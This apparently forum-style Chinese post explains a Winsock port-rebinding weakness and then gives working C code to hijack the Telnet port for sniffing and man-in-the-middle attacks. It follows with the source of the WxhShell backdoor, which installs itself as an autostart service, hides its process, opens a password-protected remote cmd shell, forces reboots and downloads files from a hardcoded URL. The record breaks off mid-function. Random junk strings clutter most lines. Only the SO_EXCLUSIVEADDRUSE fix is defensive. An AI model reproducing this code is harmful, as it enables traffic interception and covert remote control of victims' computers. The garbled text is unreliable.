在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,0x y\u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a=M\MZK> Ee`1F#c saddr.sin_family = AF_INET;
!x!07`+^u qM#R0ZUIe\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kOIt(e _g1b{$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r.4LU !r#?C9Sq 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nX$XL=6mJ& t#q<n:WeYU 这意味着什么?意味着可以进行如下的攻击:
pZ/>[TP(%F ': N51kC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FQ
g~l4WX O_Oj|'bBC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Cvn#=6V3 EwOV;>@T? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V(Ub!n:j K|dso]b/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
w@N h;6lK$!c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&f&z_WU J_s>N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<.Nx[!'~&d G:zua`u[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Me
5_4H&Sg |SyMngIY #include
r*Yi1j/ #include
}Ho Qwy|& #include
>JiltF7H0 #include
sQMFpIrr DWORD WINAPI ClientThread(LPVOID lpParam);
]Dw]p!@ int main()
6/rFHY2q {
[B+W%g(c- WORD wVersionRequested;
mEG#>Gg$ DWORD ret;
zbq@pj)Qu WSADATA wsaData;
6R=W}q4 BOOL val;
J~#;<e{\" SOCKADDR_IN saddr;
N^3N[lD{ SOCKADDR_IN scaddr;
xQUu|gtL4 int err;
E9~Ghx. SOCKET s;
K_dOq68_ SOCKET sc;
kT;S4B int caddsize;
o865(<p HANDLE mt;
5}`_x+$%(` DWORD tid;
_-EyT wVersionRequested = MAKEWORD( 2, 2 );
3YVi"
k?2 err = WSAStartup( wVersionRequested, &wsaData );
?M[ A7? if ( err != 0 ) {
;VWAf;U;B printf("error!WSAStartup failed!\n");
fFc/
d( return -1;
Uw47LP }
~R(%D-k saddr.sin_family = AF_INET;
)E~79! eut-U/3: # //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l5"OIq V O3x~E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8QM(?A saddr.sin_port = htons(23);
q5?# 3 T= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JU4qzi {
t+eVR8 printf("error!socket failed!\n");
@HOBRRm` return -1;
~JaAii{ }
I
:vs;- val = TRUE;
ra
o[VZ //SO_REUSEADDR选项就是可以实现端口重绑定的
Yl3n2R /U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'#k0a,<N {
|`cKD > printf("error!setsockopt failed!\n");
B'fb^n< return -1;
l,kUhZ@W }
5O\*h;U 6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3g >B"t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;aw=MV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_'(, \_lod kf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Rj4|Q:XG {
E@ESl0a; ret=GetLastError();
.FLy;_f+ printf("error!bind failed!\n");
NUp<e%zB return -1;
(;q;E\Ejq }
zzyHoZJP listen(s,2);
({q?d[q[ while(1)
RO.k]x6 {
U-|NY caddsize = sizeof(scaddr);
uXKERzg //接受连接请求
Ry'= ke sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jrS[f if(sc!=INVALID_SOCKET)
1&-
</G# {
)'~6HO8Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[<6S%s if(mt==NULL)
$g
sxO!G {
{HCzp,Y printf("Thread Creat Failed!\n");
a]MX)? break;
?#45wC }
7Zh~lM
}
|>#{[wko CloseHandle(mt);
f\jLqZY }
G%s2P.cd closesocket(s);
Iu <?&9t WSACleanup();
9o+)?1\ return 0;
QDhOhGK }
JhLgCnm DWORD WINAPI ClientThread(LPVOID lpParam)
T7#W0^tj {
07[_.i.l SOCKET ss = (SOCKET)lpParam;
o}$EG SOCKET sc;
VSSu&Q unsigned char buf[4096];
Ba!J"b] SOCKADDR_IN saddr;
*3?'4"B{8 long num;
bLwAXW2K+ DWORD val;
iB498t DWORD ret;
3J5!oF{H //如果是隐藏端口应用的话,可以在此处加一些判断
^3UGV*Ypk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2'W<h)m)z saddr.sin_family = AF_INET;
>Vwc3d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hK_LEwd; saddr.sin_port = htons(23);
aP/T<QZ~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rsy'q(N[ {
F 9@h|#an printf("error!socket failed!\n");
~FN9 [aJF+ return -1;
zaK#Z?V} }
{$wjO7Glp val = 100;
urjjw.wZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0`[wpZ {
m5r7 ret = GetLastError();
N9v1[~ bv_ return -1;
]VD|xm:kj }
[_}J F}6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W#hj 1 {
=,UWX3`f ret = GetLastError();
Ac<Phy-J return -1;
LL3#5AA"k| }
`a2n:F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J{k79v {
-$dXE+& printf("error!socket connect failed!\n");
e=+?K5q{P( closesocket(sc);
7*?}: closesocket(ss);
JW3B'_0 return -1;
U4b0*` o }
(w}H]LQ while(1)
P7{gfiB {
}#n;C{z2e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
orjj'+;X //如果是嗅探内容的话,可以再此处进行内容分析和记录
LyAn&h} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ce7CcHQ?B num = recv(ss,buf,4096,0);
,.}]ut/Tm if(num>0)
w.\&9]P3~ send(sc,buf,num,0);
~,i-8jl, else if(num==0)
`pGa~!vl break;
23DiW#o' num = recv(sc,buf,4096,0);
OUhqMVX9C if(num>0)
Kq;8=xP[ send(ss,buf,num,0);
z}MP)|aH: else if(num==0)
/,g ,Ch<d break;
r(RKwr:m }
pLLGus+W closesocket(ss);
Bi
@2 closesocket(sc);
%>g3~yl return 0 ;
`#;e)1 }
m>MB7,C;N .~l=zu 34Kw! ==========================================================
a_'2V; #?/< 下边附上一个代码,,WXhSHELL
' <@3i[M SUU !7Yd| ==========================================================
Z|lqb= |bO"_U #include "stdafx.h"
f)^_|8 ~wkj&yVT #include <stdio.h>
Ljp%CI[i #include <string.h>
% a@>_ #include <windows.h>
w%JTTru #include <winsock2.h>
e,Uo#T6J #include <winsvc.h>
=5(>q5Z* #include <urlmon.h>
$w);5o yFtd=AI'E #pragma comment (lib, "Ws2_32.lib")
%nV]ibp2) #pragma comment (lib, "urlmon.lib")
Cd>WUw Q+W1lv8R #define MAX_USER 100 // 最大客户端连接数
LC'{p #define BUF_SOCK 200 // sock buffer
\cUC9/
b #define KEY_BUFF 255 // 输入 buffer
VB,?Mo}R /Sc l#4bW #define REBOOT 0 // 重启
'lEA)&d #define SHUTDOWN 1 // 关机
fvdU`*|n) ^$'z!+QRM #define DEF_PORT 5000 // 监听端口
p IU&^yX> .ZJRO>S #define REG_LEN 16 // 注册表键长度
7aQc=^vaZ #define SVC_LEN 80 // NT服务名长度
+h r@#n4A br":y>=, // 从dll定义API
{;:/-0s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w-t8C=Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
xT+zU} z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B#.L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
b"#WxgaF !g(KK|`,m // wxhshell配置信息
QT>`^/]d struct WSCFG {
U8LtG/ int ws_port; // 监听端口
G"Sd@%W( char ws_passstr[REG_LEN]; // 口令
er!DYv int ws_autoins; // 安装标记, 1=yes 0=no
:[hgxJu+ char ws_regname[REG_LEN]; // 注册表键名
|~X ;1j! char ws_svcname[REG_LEN]; // 服务名
L;'"A#Pa char ws_svcdisp[SVC_LEN]; // 服务显示名
]y1OFKYv char ws_svcdesc[SVC_LEN]; // 服务描述信息
(4dhuT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
TwVlg; int ws_downexe; // 下载执行标记, 1=yes 0=no
\<y#R~7s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?MgUY)X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\\u<S=G S&b*rA02zp };
\4-"L> A8oo@z68n> // default Wxhshell configuration
+gJ8{u!=k struct WSCFG wscfg={DEF_PORT,
o!{w"K "xuhuanlingzhe",
Ns7(j- 1,
Q2F+?w;, "Wxhshell",
o'f?YZ$. "Wxhshell",
{:]9Q Tq "WxhShell Service",
Pyb Z)5u "Wrsky Windows CmdShell Service",
}L# _\ "Please Input Your Password: ",
@EnuJe 1,
.7.b:Dn0 "
http://www.wrsky.com/wxhshell.exe",
|!"`MIw, "Wxhshell.exe"
06N}k<10O };
!,Va(E|= 83Q4On // 消息定义模块
(+FfB"3] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GJtZ&H char *msg_ws_prompt="\n\r? for help\n\r#>";
&'}RrW-s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
17G'jiYH char *msg_ws_ext="\n\rExit.";
TTt#a6eJ char *msg_ws_end="\n\rQuit.";
8\5 T3AF char *msg_ws_boot="\n\rReboot...";
yl1gx char *msg_ws_poff="\n\rShutdown...";
C86J
IC" char *msg_ws_down="\n\rSave to ";
a+!tT!g&I I/L_@X<*r
char *msg_ws_err="\n\rErr!";
7w/4QiI char *msg_ws_ok="\n\rOK!";
pnbIiyV fDvl/|62{ char ExeFile[MAX_PATH];
Db1pW=66: int nUser = 0;
Xt@Z}B))pu HANDLE handles[MAX_USER];
?Vf o+a, int OsIsNt;
N=QfP Y!gCMLL SERVICE_STATUS serviceStatus;
glF; eT SERVICE_STATUS_HANDLE hServiceStatusHandle;
8F&=a,ps[ qIIv6''5@ // 函数声明
h?8]C#6^ int Install(void);
}9W4"e 2) int Uninstall(void);
?l^1 *Q, int DownloadFile(char *sURL, SOCKET wsh);
zN"J}r: int Boot(int flag);
Y#lk6 void HideProc(void);
7U2J xE int GetOsVer(void);
Ooq! 0g int Wxhshell(SOCKET wsl);
Bb}fj28 void TalkWithClient(void *cs);
A3iFI9Iv int CmdShell(SOCKET sock);
}`,t$NV` int StartFromService(void);
"huFA|` int StartWxhshell(LPSTR lpCmdLine);
dK2p7xo 4*cU< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#[`:'e VOID WINAPI NTServiceHandler( DWORD fdwControl );
vWf;
'j li 6%) // 数据结构和表定义
@qnD=mE SERVICE_TABLE_ENTRY DispatchTable[] =
6w(6}m.L^ {
A?t%e {wscfg.ws_svcname, NTServiceMain},
x*nSHb {NULL, NULL}
!qN||mCH };
5yiK+-iTs OSf}Q=BL // 自我安装
*Ie7{EhJ' int Install(void)
<c,u3cp {
0Pe>Es|^A# char svExeFile[MAX_PATH];
W>p-u6u%E| HKEY key;
o)2W`i & strcpy(svExeFile,ExeFile);
)8UWhl= AbYqf%~7`l // 如果是win9x系统,修改注册表设为自启动
.On|uC)! if(!OsIsNt) {
o17ekML if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/gu%:vq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ykX/9y+-s RegCloseKey(key);
naw0$kXTA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fI~Xmw+}} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y5FbU RegCloseKey(key);
qh2ON>e; return 0;
4W)B'+ZK8 }
^n"OL*ipG }
Bxfc}vC. }
%ve:hym* else {
$W9{P; $[/&74#0HX // 如果是NT以上系统,安装为系统服务
'Ub
g0"F( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!cAyTl(_ if (schSCManager!=0)
\&i P`v`K {
D0#x
Lh SC_HANDLE schService = CreateService
!H irhDN (
u(wGl_ schSCManager,
}c}|
$h^Y wscfg.ws_svcname,
[h34d5'w wscfg.ws_svcdisp,
Ie`13 L2 SERVICE_ALL_ACCESS,
QZ:8+[oy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
PV/77{' SERVICE_AUTO_START,
\a6^LD}B SERVICE_ERROR_NORMAL,
'b#0t#|TM svExeFile,
I9mvte NULL,
EVVP]ND NULL,
d\61;C NULL,
},>pDeX^P NULL,
Qkd<sxL NULL
zOqn<Y@ );
RQ'H$r.7g if (schService!=0)
'F_8j; {
X(\fN[; CloseServiceHandle(schService);
weE/TW\e CloseServiceHandle(schSCManager);
<Gt2(; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o(r\E0I strcat(svExeFile,wscfg.ws_svcname);
R&Jm
+3N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$ n+w$CI) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;ml)l~~YU RegCloseKey(key);
;r>snJ=M return 0;
Pp`*]Ib }
bVL9vNK }
3plzHz ,x CloseServiceHandle(schSCManager);
'C
~y5j }
8-_QFgY }
_&j}<K$-( _`_%Y(Xat return 1;
w -
Pk7I }
3&[>u;Bp bD[!/'4eJ // 自我卸载
M5*{ int Uninstall(void)
I{lT> go {
7A\~)U@ HKEY key;
#L{OV)a< 3'c0#h@VD if(!OsIsNt) {
N\#MwLm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H*Kj3NgY RegDeleteValue(key,wscfg.ws_regname);
e=Z,
Jg RegCloseKey(key);
Sz^5b! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;zIP,PMM RegDeleteValue(key,wscfg.ws_regname);
f"9q^ RegCloseKey(key);
oA =4=` return 0;
qd#sY.|1 }
p"FW&Q=PN }
<0QH<4 }
=ZDAeVz3w else {
sm\f0P!rv
{e[c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:bWUuXVtJ if (schSCManager!=0)
NLr PSqz {
OnF3l Cmu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pDh{Z g6t if (schService!=0)
-|Y(V5] {
B:e
@0049 if(DeleteService(schService)!=0) {
#ceaZn|@m CloseServiceHandle(schService);
+[R/=$ CloseServiceHandle(schSCManager);
3$m4q`J return 0;
1\g6)|R-+ }
P#_sg0oJF CloseServiceHandle(schService);
m^H21P"z }
F6K4#t+9 CloseServiceHandle(schSCManager);
qnoNT%xazo }
{.De4]ANh }
CMCO}# |R56ho5C return 1;
r4QxoaM }
$zyIuJN# Rhe Re // 从指定url下载文件
XvE9b5} int DownloadFile(char *sURL, SOCKET wsh)
QR
Ei7@t {
5Pd"h S HRESULT hr;
.9"Y_/0 char seps[]= "/";
V\{tmDE char *token;
h-m\% |D char *file;
)*Q-.Je/U char myURL[MAX_PATH];
KM!k$;my char myFILE[MAX_PATH];
Fb4`| UY <e&Npo strcpy(myURL,sURL);
FI<q@HF token=strtok(myURL,seps);
x,otFp while(token!=NULL)
~,BIf+\XF {
:sP!p`dl file=token;
3Ezy %7 token=strtok(NULL,seps);
:LQ5u[g$\ }
h~(D@/tB !O#dV1wAa GetCurrentDirectory(MAX_PATH,myFILE);
{fEwA8Ir strcat(myFILE, "\\");
lr{?"tl_ strcat(myFILE, file);
'/$d0`3B> send(wsh,myFILE,strlen(myFILE),0);
,N
e;kI send(wsh,"...",3,0);
^RP)>d9Xp{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DZv=\<$,LF if(hr==S_OK)
[ e8x&{L-_ return 0;
|<Gl91 else
]ZoD'-, return 1;
`d[1`P1i[ *0}3t<5 }
^kgBa2 7 .-IkL|M // 系统电源模块
S_T1y int Boot(int flag)
Udc=,yo3Qm {
!
/NG.Wf HANDLE hToken;
J%jB?2
1:o TOKEN_PRIVILEGES tkp;
c=
x,ijY
" qt3PXqR7: if(OsIsNt) {
cI=r+OGk* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:Mcu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\oEo~ tkp.PrivilegeCount = 1;
"F}'~HWZp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-YjA+XP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\/SQ,*O if(flag==REBOOT) {
H{AMZyV0/d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1=nUW": return 0;
0V{(Ru.O }
.(X
lg-H, else {
]/!<PF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S<L.c return 0;
W?We6.%
}
sz9G3artK& }
<97d[/7i else {
:KKa4=5L if(flag==REBOOT) {
3 AHY| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|hO~X~P return 0;
c(/VYMJZ& }
shH~4<15 else {
Khe!g1=&X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iajX ~kv return 0;
L3p` }
78Aa|AJU }
UDc$"a}ds{ {\z({Wlb] return 1;
&%2*Wu; }
"&/]@)TPz Qf|U0 // win9x进程隐藏模块
8:o<ry void HideProc(void)
b:(- {
+hRmO c=[O
`/f HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1N\D5g3 if ( hKernel != NULL )
c=;:R0_'t {
N,J9Wu ZJ\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=B ];?% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1Fe^Qb5G FreeLibrary(hKernel);
(Si=m;g }
p:OPw D+ 2qHf' return;
>F@qpjoQE }
ooj~&fu ?+t1ME| // 获取操作系统版本
k78Vh$AA6% int GetOsVer(void)
_oB_YL;,* {
JI/_ce OSVERSIONINFO winfo;
X>I)~z}9# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
a|BcnYN GetVersionEx(&winfo);
$x#FgD(iI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
D&ve15wL return 1;
/oL;YIoQX else
x-'~Bu return 0;
XG@`ZJhU6 }
X]y)ZF26 Dl&GJ`&:p // 客户端句柄模块
<X_!x_x int Wxhshell(SOCKET wsl)
!~ZP{IXyo {
m,R Dr SOCKET wsh;
jDRe)bo4 struct sockaddr_in client;
n q19Q) DWORD myID;
%Td )0Lqp vNW jH!' while(nUser<MAX_USER)
ZL<
MC~ {
\#rO!z
d int nSize=sizeof(client);
CN2_bz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P0i V<T4^ if(wsh==INVALID_SOCKET) return 1;
phYDs9-K /U$8TT8+- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
45@]:2j if(handles[nUser]==0)
5y}
v{Ijt closesocket(wsh);
C*X
G_b ] else
3p*-tBOO nUser++;
gFPi7 o1 }
=pIy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hKlZi!4J ` r']^
, return 0;
Ao7 `G': }
oA
tsUF+a b}G24{ // 关闭 socket
3I|3wQ ( void CloseIt(SOCKET wsh)
}sxn72, {
{C^@Q"I closesocket(wsh);
_J]2~b nUser--;
[`Cq\mI-W ExitThread(0);
a45ss7 }
^# A.@ ~/IexQB& // 客户端请求句柄
Y& ] 8 { void TalkWithClient(void *cs)
?G08[aNR {
{^Pq\h; x3e]d$ SOCKET wsh=(SOCKET)cs;
=/+#PVO char pwd[SVC_LEN];
X['2b78k char cmd[KEY_BUFF];
nN3$\gHp8i char chr[1];
[ut#:1h^ int i,j;
Ze!92g ~ ~8rI[/ while (nUser < MAX_USER) {
,}C8;/V }4nT.!5
if(wscfg.ws_passstr) {
C2<CWPn< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a}d6o;li //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fMeZ]rb //ZeroMemory(pwd,KEY_BUFF);
M;Wha;%E" i=0;
)~rB}>^Z while(i<SVC_LEN) {
i_F$&?) 1Xyp/X2rI // 设置超时
|z^pL1Z]5 fd_set FdRead;
#
4|9Fj?? struct timeval TimeOut;
xq!IbVV/h FD_ZERO(&FdRead);
(_9|w|( FD_SET(wsh,&FdRead);
=!ac7i\F TimeOut.tv_sec=8;
f]d!hz! TimeOut.tv_usec=0;
Jbp5'e
_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(Btv ClZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
y~F<9;$= ^GYq#q9Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
TK>{qxt:= pwd
=chr[0]; u8OxD
if(chr[0]==0xd || chr[0]==0xa) { aEx(rLd+
pwd=0; idJh^YD
break; "]t>ZT:OJ
} IX?ZbtdX$`
i++; }`9`JmNM
} C$#W{2x%6
16@);Ot
// 如果是非法用户,关闭 socket "A]Y~iQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zfjTQMaxh
} G5{Ot>;*%
o A~4p(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `W[+%b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XLTD;[jO
rF'R>/H
while(1) { daOS8_py
(BERY
ZeroMemory(cmd,KEY_BUFF); k_3j
'
qa}>i&uO
// 自动支持客户端 telnet标准 74zSP/G'
j=0; ,w&:_n
while(j<KEY_BUFF) { K!b8= K`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4^Ow^7N?
cmd[j]=chr[0]; GM}C]MVD
if(chr[0]==0xa || chr[0]==0xd) { <4zT;:NQ
cmd[j]=0; [F|+(}
break; <{019Oa
} fQQ|gwVki
j++; e`sw*m5
} }f}IA\8]
m{&w{3pQk
// 下载文件 '; /84j-3F
if(strstr(cmd,"http://")) { _
K/swT{f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); O}gX{_|6
if(DownloadFile(cmd,wsh)) 8Z:Ezg3^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3
Lje<KzL
else ^'B-sz{{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r] t )x*
} F^'v{@C
else { ?Bu}.0ku-$
tF`MT%{Va
switch(cmd[0]) { m.V,I}J.q
a{_ KSg
// 帮助 \n@V-b
case '?': { aqfL0Rg+`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ck$2Ue2`@w
break; l(Cf7o!
} 797X71>
// 安装 5.k}{{+
case 'i': { >38
Lt\
if(Install()) C6)R#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9[< ^
else 5OB]x?4]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RqGVp?
break; '\L0xw4
} u)7
]1e{
// 卸载 J v<$*TVS0
case 'r': { Ofm5[q=
if(Uninstall()) ]xR4->eix
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@O2
WB1ws
else sPpS~wk*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nx;$dxx_Ws
break; 4p x_ZD#J
} E!@/N E\-
// 显示 wxhshell 所在路径 E|,30Z+
case 'p': { k2OM="Ei}
char svExeFile[MAX_PATH]; y#bK,}
strcpy(svExeFile,"\n\r"); jvO3_Zt9
strcat(svExeFile,ExeFile); hrT%XJl
send(wsh,svExeFile,strlen(svExeFile),0); QSmJ`Bm
break; `Z8^+AMc
} @,YlmX}
// 重启 fN0bIE
Y
case 'b': { BVAr&cu
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RH=$h! 5
if(Boot(REBOOT)) O3+)qb!X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bj&_IDs4
else { ru(J5+H
closesocket(wsh); SKJW%(|3
ExitThread(0); Q)+Y}
} \[k%)_
break; l% |cB93
} C.HYS S
// 关机 k<, u0
case 'd': { &GU@8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /p}{#DLB
if(Boot(SHUTDOWN)) *]'qLL7d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F(E<,l2[
else { V{FE [v_
closesocket(wsh); L1F###c
ExitThread(0); g 9|qbKQ:[
} xDLMPo&
break; !Y|8z\Q
} fPrb%
// 获取shell Ivjw<XP6K
case 's': { IwM8#6;S~
CmdShell(wsh); _iq2([BpL
closesocket(wsh); Q^|6J#o[9
ExitThread(0); @9<S*
break; t]r7cA
} v\'rXy
// 退出 H1C%o0CPY
case 'x': { Me<du&
T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \KNdZC?V2
CloseIt(wsh); _^b@>C>O
break; .c: )Qli
} pEkOSG
// 离开 E+Im~=m$
case 'q': { _lNC<7+#h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +.wT
9kFcc
closesocket(wsh); )+*{Y$/U
WSACleanup(); }z?xGW/k
exit(1); :Dt\:`(r'
break; RZe#|k+
8
} HrDTn&/
} .
Jb?]n
} 2pjW,I!`
33,;iE
// 提示信息 h*G#<M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gj5>Y!9
} }ymc5-
} ;fj9n-
rWqkdi1
return; %P(;8sS
} Kc-Y
Gxo#
!
// shell模块句柄 2k+=kt
int CmdShell(SOCKET sock) fMyE}z
{ |@+8]dy:l
STARTUPINFO si; [qW<D/@
ZeroMemory(&si,sizeof(si)); }}s8D>;G~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N:OD0m%`)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k3C"
PROCESS_INFORMATION ProcessInfo; Pf{`/UlD
char cmdline[]="cmd"; u\:rY)V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @c0n2 Xcr
return 0; (lieiye^
} H/pcXj
6hLNJ
// 自身启动模式 )>?! xx_`
int StartFromService(void) -`Da`ml
{ A"0wvk)UcY
typedef struct ~c!Rx'
{ ([[)Ub$U
DWORD ExitStatus; c1PViko,>
DWORD PebBaseAddress; C?{D"f`[]
DWORD AffinityMask; <sO?ev[
